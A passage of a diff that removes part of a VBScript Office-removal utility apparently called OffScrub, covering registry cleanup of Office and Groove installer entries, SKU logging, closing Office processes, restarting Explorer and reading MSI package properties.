-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
-            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
-
-        Case 15
-
-        Case Else
-        End Select
-
-        'Win32Assemblies
-        Log " - Win32Assemblies"
-        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
-            For Each Item in arrKeys
-                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
-            Next 'Item
-        End If 'RegEnumKey
-        'Groove blocks reinstall if it locates groove.exe over this key
-        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
-            sValue = ""
-            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
-            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
-        End If 'RegKeyExists
-    End If 'fRemoveAll
-
-    Select Case OVERSIONMAJOR
-    Case "11"
-        For iLoopCnt = 1 to 3
-            Select Case iLoopCnt
-            Case 1
-                'CIW - HKCU
-                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
-                hDefKey = HKCU
-            Case 2
-                'CIW - HKLM
-                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
-                hDefKey = HKLM
-            Case 3
-                'Add/Remove Programs
-                sSubKeyName = REG_ARP
-                hDefKey = HKLM
-            End Select
-
-            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
-                For Each Item in arrKeys
-                    'OFFICEID id
-                    If Len(Item)>37 Then
-                        sGuid = UCase(Left(Item,38))
-                        If Right(sGuid,PRODLEN)=OFFICEID Then
-                            If CheckDelete(sGuid) Then
-                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                            End If
-                        End If 'Right(Item,PRODLEN)=OFFICEID
-                    End If 'Len(Item)>37
-                Next 'Item
-                If iLoopCnt < 3 Then
-                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
-                        i = 0
-                        For Each Name in arrNames
-                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
-                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
-                            End If
-                            i = i + 1
-                        Next
-                    End If
-                End If
-            End If
-            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
-            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
-        Next 'iLoopCnt
-    Case "12"
-        'Add/Remove Programs
-        RegWipeARP
-    Case "14"
-        'Add/Remove Programs
-        RegWipeARP
-    Case Else
-    End Select
-
-    'UpgradeCodes, WI config, WI global config
-    For iLoopCnt = 1 to 5
-        Select Case iLoopCnt
-        Case 1
-            Log " - HKLM UpgradeCodes"
-            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
-            hDefKey = HKLM
-        Case 2
-            Log " - HKCR UpgradeCodes"
-            sSubKeyName = "Installer\UpgradeCodes\"
-            hDefKey = HKCR
-        Case 3
-            Log " - HKLM Products"
-            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
-            hDefKey = HKLM
-        Case 4
-            Log " - HKCR Features"
-            sSubKeyName = "Installer\Features\"
-            hDefKey = HKCR
-        Case 5
-            Log " - HKCR Products"
-            sSubKeyName = "Installer\Products\"
-            hDefKey = HKCR
-        Case Else
-            sSubKeyName = ""
-            hDefKey = ""
-        End Select
-        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
-            For Each Item in arrKeys
-                'Ensure we have the expected length for a compressed GUID
-                If Len(Item)=32 Then
-                    'Expand the GUID
-                    sGuid = GetExpandedGuid(Item)
-                    'Check if it's an Office key
-                    If CheckDeleteEx (sGuid) Then
-                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
-                    Else
-                        If iLoopCnt < 3 Then
-                            'Enum all entries
-                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
-                            If IsArray(arrNames) Then
-                                'Delete entries within removal scope
-                                For Each Name in arrNames
-                                    If Len(Name)=32 Then
-                                        sGuid = GetExpandedGuid(Name)
-                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
-                                    Else
-                                        'Invalid data -> delete the value
-                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
-                                    End If
-                                Next 'Name
-                            End If 'IsArray(arrNames)
-                            'If all entries were removed - delete the key
-                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
-                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                        Else 'iLoopCnt >= 3
-                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
-                        End If 'iLoopCnt < 3
-                    End If 'fRemoveAll
-                End If 'Len(Item)=32
-            Next 'Item
-        End If 'RegEnumKey
-    Next 'iLoopCnt
-
-    'Components
-    Log " - Global Components"
-    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            'Ensure we have the expected length for a compressed GUID
-            If Len(Item)=32 Then
-                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
-                    If IsArray(arrNames) Then
-                        For Each Name in arrNames
-                            If Len(Name)=32 Then
-                                sGuid = GetExpandedGuid(Name)
-                                If CheckDelete(sGuid) Then
-                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
-                                    'Check if the key is now empty
-                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
-                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
-                                    End If
-                                End If
-                            End If '32
-                        Next 'Name
-                    End If 'IsArray
-                End If 'RegEnumValues
-            End If '32
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Published Components
-    Log " - Published Components"
-    sSubKeyName = "Installer\Components\"
-    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            'Ensure we have the expected length for a compressed GUID
-            If Len(Item)=32 Then
-                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
-                    If IsArray(arrNames) Then
-                        For Each Name in arrNames
-                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
-                                arrMultiSzValues = Split(sValue,chr(34))
-                                If IsArray(arrMultiSzValues) Then
-                                    i = -1
-                                    ReDim arrMultiSzNewValues(-1)
-                                    fDelReg = False
-                                    For Each value in arrMultiSzValues
-                                        If Len(value) > 19 Then
-                                            sGuid = ""
-                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
-                                                If CheckDelete(sGuid) Then
-                                                    fDelReg = True
-                                                Else
-                                                    i = i + 1
-                                                    ReDim Preserve arrMultiSzNewValues(i)
-                                                    arrMultiSzNewValues(i) = value
-                                                End If 'CheckDelete
-                                            End If 'decode
-                                        End If '19
-                                    Next 'Value
-                                    If NOT (i = -1) Then
-                                        If NOT fDetectOnly Then
-                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
-                                        End If
-                                    Else
-                                        If fDelReg Then
-                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
-                                            'Check if the key is now empty
-                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
-                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
-                                            End If
-                                        End If 'DelReg
-                                    End If
-                                End If 'IsArray
-                            End If
-                        Next 'Name
-                    End If 'IsArray
-                End If 'RegEnumValues
-            End If '32
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Delivery
-    Log " - Delivery"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item) > 37 Then
-                If fRemoveAll Then
-                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
-                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-                Else
-                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
-                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-                End If
-            End If '37
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Registration
-    Log " - HKLM Registration"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item)>37 Then
-                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-    'User Preconfigurations
-    Log " - HKLM User Preconfigurations"
-    hDefKey = HKLM
-    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            If Len(Item)>37 Then
-                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-    'Known Keypath settings
-    Log " - Detcted KeyPath settings"
-    For Each key in dicDelRegKey.Keys
-        If Right(key,1) = "\" Then
-            RegDeleteKey dicDelRegKey.Item(key),key
-        Else
-            iPos = InStrRev(Key,"\")
-            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
-        End If
-    Next
-
-    'Temporary entries in ARP
-    TmpKeyCleanUp
-End Sub 'RegWipe
-'=======================================================================================================
-
-'Clean up Add/Remove Programs registry
-Sub RegWipeARP
-
-    Dim Item, Name, Sku, key
-    Dim sSubKeyName, sCurKey, sValue, sGuid
-    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
-    Dim arrKeys
-
-    'Add/Remove Programs
-    sSubKeyName = REG_ARP
-    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
-        For Each Item in arrKeys
-            '*0FF1CE*
-            If Len(Item)>37 Then
-                sGuid = UCase(Left(Item,38))
-                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
-            End If 'Len(Item)>37
-
-            'Config entries
-            sCurKey = sSubKeyName & Item & "\"
-            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
-            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
-            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
-            If fDisplayVersion AND Len(sValue) > 1 Then
-                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
-            End If
-            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
-                fKeep = False
-                If Not fRemoveAll Then
-                    For Each Sku in dictionaryKeepSku.Keys
-                        If UCase(Item) = OREGREF & Sku Then
-                            fkeep = True
-                            Exit For
-                        End If
-                    Next 'Sku
-                End If
-                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
-            End If
-        Next 'Item
-    End If 'RegEnumKey
-
-End Sub 'RegWipeARP
-'=======================================================================================================
-
-'Clean up temporary registry keys
-Sub TmpKeyCleanUp
-    Dim TmpKey
-
-    If fLogInitialized Then Log " - temporary OffScrub registry entries"
-    If IsArray(arrTmpSKUs) Then
-        For Each TmpKey in arrTmpSKUs
-            oReg.DeleteKey HKLM, REG_ARP & TmpKey
-        Next 'Item
-    End If 'IsArray
-End Sub 'TmpKeyCleanUp
-
-'=======================================================================================================
-' Helper Functions
-'=======================================================================================================
-
-'Create a log with the results of the SKU detection
-Sub LogSkuResults
-    Dim SkuLog, SkuKey , p
-
-    On Error Resume Next 'Don't fail on logging
-
-    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
-
-    SkuLog.WriteLine "Installed SKUs (All):"
-    SkuLog.WriteLine "====================="
-    For Each SkuKey in dicInstalledSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Server SKUs:"
-    SkuLog.WriteLine          "============"
-    For Each SkuKey in dicSrv.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
-    SkuLog.WriteLine          "=================="
-    For Each SkuKey in dicCSuite.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
-    SkuLog.WriteLine          "======================="
-    For Each SkuKey in dicCSingle.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
-    SkuLog.WriteLine          "========================="
-    For Each p in oMsi.Products
-        If InScope(p) Then
-            SkuLog.Write " - " & p & " - "
-            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-            SkuLog.WriteLine " "
-        End If
-    Next 'Product
-
-    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
-
-    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
-    SkuLog.WriteLine          "============="
-    For Each SkuKey in dictionaryKeepSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Products to keep:"
-    SkuLog.WriteLine          "================="
-    For Each p in dictionaryKeepProd.Keys
-        SkuLog.Write " - " & p & " - "
-        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-        SkuLog.WriteLine " "
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
-
-    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
-    SkuLog.WriteLine          "==============="
-    For Each SkuKey in dicRemoveSku.Keys
-        SkuLog.WriteLine " - " & SkuKey
-    Next 'Key
-
-    SkuLog.WriteLine vbCrLf & "Products to remove:"
-    SkuLog.WriteLine          "==================="
-    For Each p in oMsi.Products
-        If CheckDeleteEx(p) Then
-            SkuLog.Write " - " & p & " - "
-            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
-            SkuLog.WriteLine " "
-        End If 'InScope
-    Next 'Product
-
-    SkuLog.Close
-    Set SkuLog = Nothing
-
-End Sub 'LogSkuResults
-'=======================================================================================================
-
-'End all running instances of applications that will be removed
-Sub CloseOfficeApps
-    Dim Processes, Process, prop
-    Dim fWait
-    Dim iRet
-
-    On Error Resume Next
-
-    fWait = False
-    Log " Doing Action: CloseOfficeApps"
-
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
-    For Each Process in Processes
-        If dicApps.Exists(LCase(Process.Name)) Then
-            Log " - End process " & Process.Name
-            iRet = Process.Terminate()
-            CheckError "CloseOfficeApps: " & "Process.Name"
-        Else
-            For Each prop in Process.Properties_
-                If prop.Name = "ExecutablePath" Then
-                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
-                        Log " - End process '" & Process.Name
-                        iRet = Process.Terminate()
-                        CheckError "CloseOfficeApps: " & "Process.Name"
-                        fWait = True
-                    End If
-                End If 'ExcecutablePath
-            Next 'prop
-        End If
-    Next 'Process
-    If fWait Then
-        wscript.sleep 10000
-    End If
-    LogOnly " End Action: CloseOfficeApps"
-End Sub 'CloseOfficeApps
-'=======================================================================================================
-
-'Ensure Windows Explorer is restarted if needed
-Sub RestoreExplorer
-    Dim Processes, Result, oAT, DateTime, JobID
-    Dim sCmd
-
-    'Non critical routine. Don't fail on error
-    On Error Resume Next
-    wscript.sleep 1000
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
-    If Processes.Count < 1 Then
-        oWShell.Run "explorer.exe"
-        'To handle this in case of System context, schedule and run as interactive task
-        If iVersionNT > 502 Then
-            'Vista and later
-            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
-            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
-            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
-        Else
-            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
-            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
-            DateTime.SetVarDate DateAdd("n",1,Now),True
-            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
-        End If 'iVersionNT
-    End If
-End Sub 'RestoreExploer
-'=======================================================================================================
-
-'Returns the delimiter for a passed in string
-Function Delimiter (sVersion)
-
-    Dim iCnt, iAsc
-
-    Delimiter = " "
-    For iCnt = 1 To Len(sVersion)
-        iAsc = Asc(Mid(sVersion, iCnt, 1))
-        If Not (iASC >= 48 And iASC <= 57) Then
-            Delimiter = Mid(sVersion, iCnt, 1)
-            Exit Function
-        End If
-    Next 'iCnt
-End Function
-'=======================================================================================================
-
-'Check registry access permissions. Failure will terminate the script
-Function CheckRegPermissions
-    Const KEY_QUERY_VALUE       = &H0001
-    Const KEY_SET_VALUE         = &H0002
-    Const KEY_CREATE_SUB_KEY    = &H0004
-    Const DELETE                = &H00010000
-
-    Dim sSubKeyName
-    Dim fReturn
-
-    CheckRegPermissions = True
-    sSubKeyName = "Software\Microsoft\Windows\"
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
-    If Not fReturn Then CheckRegPermissions = False
-
-End Function 'CheckRegPermissions
-'=======================================================================================================
-
-'Check if a product will be removed
-Function CheckDeleteEx (sProductCode)
-
-    CheckDeleteEx = False
-    If CheckDelete (sProductCode) Then
-        CheckDeleteEx = True
-        Exit Function
-    End If
-    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
-        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
-    End If
-End Function 'CheckDelete
-'=======================================================================================================
-
-'Check if an Office product is still registered with a SKU that stays on the computer
-Function CheckDelete (sProductCode)
-
-    'Ensure valid GUID length
-    If NOT Len(sProductCode) = 38 Then
-        CheckDelete = False
-        Exit Function
-    End If
-
-    'If it's a non Office ProductCode exit with false right away
-    CheckDelete = InScope(sProductCode)
-    If Not CheckDelete Then Exit Function
-    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
-
-End Function 'CheckDelete
-'=======================================================================================================
-
-'Check if ProductCode is in scope
-Function InScope(sProductCode)
-
-    Dim fInScope
-    Dim sProd
-
-    fInScope = False
-    If Len(sProductCode) = 38 Then
-        sProd = UCase(sProductCode)
-        Select Case OVERSIONMAJOR
-        Case "11"
-            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
-        Case "12"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
-        Case "14"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
-        Case "15"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
-                Select Case Mid(sProd, 11, 4)
-                Case "007E", "008F", "008C", "24E1", "237A"
-                    ' C2R products - keep them
-                Case Else
-                    fInScope = True
-                End Select
-            End If
-        Case Else
-        End Select
-    End If '38
-
-    InScope = fInScope
-End Function 'InScope
-'=======================================================================================================
-
-'Register an orphaned .msi product as installed for MSI
-Sub MsiRegisterProduct (sMsiFile)
-
-    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
-    Dim iCnt
-
-    'Create a temporary keys to simulate an installed product
-    sProductCode = ""
-    sProductCode = GetMsiProductCode(sMsiFile)
-    sDisplayVersion = GetMsiProductVersion(sMsiFile)
-    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
-    sDisplayName = GetMsiProductName(sMsiFile)
-    If sDisplayName = "" Then sDisplayName = sProductCode
-    Select Case OVERSIONMAJOR
-    Case "9","10","11"
-        sLang = CInt("&h" & Mid(sProductCode,6,4))
-    Case "12","14"
-        sLang = CInt("&h" & Mid(sProductCode,16,4))
-    Case Else
-    End Select
-
-    For iCnt = 1 To 3
-        Select Case iCnt
-        Case 1
-            sCurKey = REG_ARP & sProductCode
-            oReg.CreateKey HKLM,sCurKey
-        Case 2
-            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
-            oReg.CreateKey HKLM,sCurKey
-            oReg.CreateKey HKLM,sCurKey & "\Features"
-            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
-            oReg.CreateKey HKLM,sCurKey & "\Patches"
-            oReg.CreateKey HKLM,sCurKey & "\Usage"
-            sCurKey = sCurKey & "\InstallProperties"
-            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
-        Case 3
-            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
-            sTmpKey = sCurKey
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
-            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
-            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
-            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
-            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
-            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
-            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
-            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
-            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
-            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
-            sCurKey = sTmpKey & "\SourceList"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
-            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
-            sCurKey = sTmpKey & "\SourceList\Media"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
-            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
-            sCurKey = sTmpKey & "\SourceList\Net"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
-
-        Case Else
-        End Select
-        If iCnt <3 Then
-            oReg.SetStringValue HKLM,sCurKey,"Comments",""
-            oReg.SetStringValue HKLM,sCurKey,"Contact",""
-            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
-            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
-            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
-            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
-            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
-            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
-            If f64 Then
-                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
-            Else
-                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
-            End If
-            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
-            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
-            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
-            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
-            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
-            oReg.SetStringValue HKLM,sCurKey,"Readme",""
-            oReg.SetStringValue HKLM,sCurKey,"Size",""
-            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
-            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
-            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
-            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
-            oReg.SetDWordValue HKLM,sCurKey,"Version",0
-            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
-            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
-            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
-        End If '< 3
-    Next 'iCnt
-
-End Sub 'MsiRegisterProduct
-'=======================================================================================================
-
-'Obtain the ProductCode (GUID) from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductCode(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductCode = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductCode = Record.StringData(1)
-    qView.Close
-
-End Function 'GetMsiProductCode
-'=======================================================================================================
-
-'Obtain the ProductVersion from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductVersion(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductVersion = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductVersion = Record.StringData(1)
-    qView.Close
-
